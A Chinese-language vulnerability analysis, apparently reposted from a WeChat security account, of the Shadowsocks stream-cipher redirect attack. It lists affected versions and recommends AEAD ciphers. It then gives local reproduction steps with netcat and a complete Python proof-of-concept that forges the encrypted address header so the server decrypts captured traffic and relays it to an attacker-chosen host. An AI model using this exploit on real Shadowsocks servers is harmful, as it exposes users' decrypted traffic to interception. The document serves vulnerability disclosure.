Shadowsocks 重定向攻击分析

06/21 15:48
阅读数 561

本文原创分析作者  

360核心团队 Zhizhiang Peng

0x00 简介

    Shadowsocks是一款科学上网工具,基于Socks5代理方式的加密传输协议.在中国广泛使用.前几个月 360核心团队 Zhizhiang Peng发现了shadowsocks协议中的一个漏洞,该漏洞打破了shadowsocks流密码的机密性.被动攻击者可以使用我们的重定向攻击轻松解密所有加密的shadowsocks数据包.更重要的是,中间人攻击者可以实时修改流量,就像根本没有加密一样.


0x01:受影响版本

  • shadowsocks-py

  • shadowsocoks-go

  • shadowsocoks-nodejs

0x02:建议使用版本

  • shadowsocks-libev

  • go-shadowsocks2

  • 并且仅使用AEAD密码

0x03:shadowsocks工作思路

    Shadowsocks本地组件(ss-local)的作用类似于传统的SOCKS5服务器为客户端提供代理服务.它加密和转发数据流和数据包客户端到Shadowsocks远程组件(ss-remote),后者解密并转发到目标.从目标也同样加密和转播 Replies ss-remote回到sslocal, 解密和最终返回到原来的客户端.

客户< - - - > ss-local <——(加密)——> ss-remote < - - - >目标

0x04:整体逻辑

    浏览器使用 socks5代理,将数据发给 sslocal服务,sslocal 将数据加密后传递给 ssserver,ssserver 解密数据,访问指定资源,返回加密的数据,sslocal 再解密返回给浏览器.

    整个过程比较容易理解,接下来通过阅读代码的方式讲一下整个流程,着重看数据拼接和加密部分.

sslocal发包流程:

tcpRelay.py 中,类TCPRelayHandler 构造方法里,主动创建 Encryptor结构体.

Encryptor 结构体初始化时,使用 config 里的“PASS”密钥,作为种子生成真正的 key,将来长期使用,随机产生 rand_iv,在当前数据包中使用.

使用命令

curl --socks5 127.0.0.1:1080 http://a.baidu.com

使用socks5 代理,尝试访问 a.baidu.com.

tcpRelay.py中,_handle_stage_addr收到socks5 的协议头,稍加解析和验证,将该数据使用 AES.update(socks5Header)

tcpRelay.py 中,_handle_stage_connecting 收到 HTTP 请求的数据,并将改数据使用 AES.update(httpRequest) 

最终组合好的明文数据是:data = sock5Header + httpRequest最终发给服务器最后的数据是:rand_iv + AES-cfb(key, rand_iv, data)ssserver收包过程省略、ssserver 发包过程省略sslocal收包

tcpRelay.py 中,_on_remote_read 收到了 ssserver 返回的数据,前 16 字节是server 生成的 rand_iv2,后面的数据是密文,解密后就是返回包的内容.

相当于:httpResponse = AES-cfb(key, rand_iv2, recv_data)

攻击者只知道 rand_iv、rand_iv2,不知道key,因此无法直接解密整个request 和 response.

0x05:场景的分析

针对IP直连的攻击


    浏览器使用socks5代理,通过客户端去访问a.baidu.com的IP地址,攻击者拿到加密的返回包,可以破解httpResponse内容(大部分内容).


一、启动ssserver,python3 myserver.py;

二、启动sslocal,python3 myclient.py;

三、开启wireshark,

四、使用curl发包curl --socks5 127.0.0.1:1080 http://a.baidu.com,

五、收到返回“ OK”,

六、保存为ss_ip_direct.pcapng

七、攻击者监听 127.0.0.1:1083

八、攻击者解析ss_ip_direct.pcapng中的返回包,纠正改写,将目标地址从baidu的IP写为127.0.0.1:1083纠正改后发给1081


    恶意攻击总计1081将数据解密,发送给127.0.0.1:1083(或任意指定的IP和端口)

    默认ssserver不会发数据给127.0.0.1:1083,需要临时将_create_remote_socket下面该检查补丁掉!或者把目标改成一台公网IP和端口


    if self._forbidden_iplist:        if common.to_str(sa[0]) in self._forbidden_iplist:            raise Exception('IP %s is in forbidden list, reject' %                common.to_str(sa[0]))

为了方便复现,已经抓到一组包,只需要执行下面的三句代码即可:

python3 myserver.py 启动ssserver
nc -lk 1083 监听1083端口
python3 ip_direct_attack.py 读取密文,伪改密文,发送给ssserver

之后观察1083,会出现下图的样子


针对域名访问的攻击

    浏览器使用socks5代理,通过客户端去访问a.baidu.com的域名地址,攻击者拿到加密的请求包,可以破解httpRequest内容(大部分内容).


一、启动ssserver,python3 myserver.py;

二、启动sslocal,python3 myclient.py;

三、开启wireshark,

四、使用Safari浏览器挂个代理,收到返回“ OK”,保存为 ss_domain.pcapng

五、攻击者监听127.0.0.1:1083,并且申请a.baidu.abc域名,指向自己的服务器;(此处为了演示,在本地主机里干了这件事)


    攻击者解析ss_domain.pcapng中的请求包,篡改头部,将a.baidu.com对划线a.baidu.abc,篡改后发给1081

    恶意攻击总计1081将数据解密,发送给a.baidu.abc:1083(或任意指定的域名和端口)

    默认ssserver不会发数据给127.0.0.1:1083,需要临时将_create_remote_socket下面该检查补丁掉!或者把目标改成一台公网IP和端口


为了方便复现,已经抓到一组包,只需要执行下面的四句代码即可:


127.0.0.1 a.baidu.abc 加入房东
python3 myserver.py 启动ssserver
nc -lk 1083 监听1083端口
python3 domain_attack.py 读取密文,伪改密文,发送给ssserver


之后观察1083,会出现下图的样子


演示过程:

#ip_direct_attack.pyfrom scapy.packet import Rawfrom scapy.all import rdpcapimport socketimport structimport time
packets = rdpcap("ss_ip_direct.pcapng")pkg_send, pkg_recv = None, None
for p in packets: if p['TCP'] and p['TCP'].dport == 1081 and isinstance(p['TCP'].payload, Raw): pkg_send = p if p['TCP'] and p['TCP'].sport == 1081 and isinstance(p['TCP'].payload, Raw): pkg_recv = p
send_iv, send_data = pkg_send['TCP'].payload.load[:16], pkg_send['TCP'].payload.load[16:]recv_iv, recv_data = pkg_recv['TCP'].payload.load[:16], pkg_recv['TCP'].payload.load[16:]
predict_data = b"HTTP/1.1"predict_xor_key = bytes([(predict_data[i] ^ recv_data[i]) for i in range(len(predict_data))])
target_ip = "127.0.0.1"target_port = 1083fake_header = b'\x01' + socket.inet_pton(socket.AF_INET, target_ip) + bytes(struct.pack('>H', target_port))fake_header = bytes([(fake_header[i] ^ predict_xor_key[i]) for i in range(len(fake_header))])fake_data = recv_iv + fake_header + recv_data[len(fake_header):]print(fake_data.hex())
s = socket.socket()s.connect(("127.0.0.1", 1081))s.send(fake_data)print('Tcp sending... ')time.sleep(3)s.close()


0x06:Referer:

以上逻辑分析源自

https://www.leadroyal.cn/?p=1036

https://github.com/LeadroyaL/ss-redirect-vuln-exp

https://github.com/edwardz246003/shadowsocks


本文分享自微信公众号 - 洛米唯熊(luomiweixiong)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。

展开阅读全文
打赏
0
0 收藏
分享
加载中
更多评论
打赏
0 评论
0 收藏
0
分享
返回顶部
顶部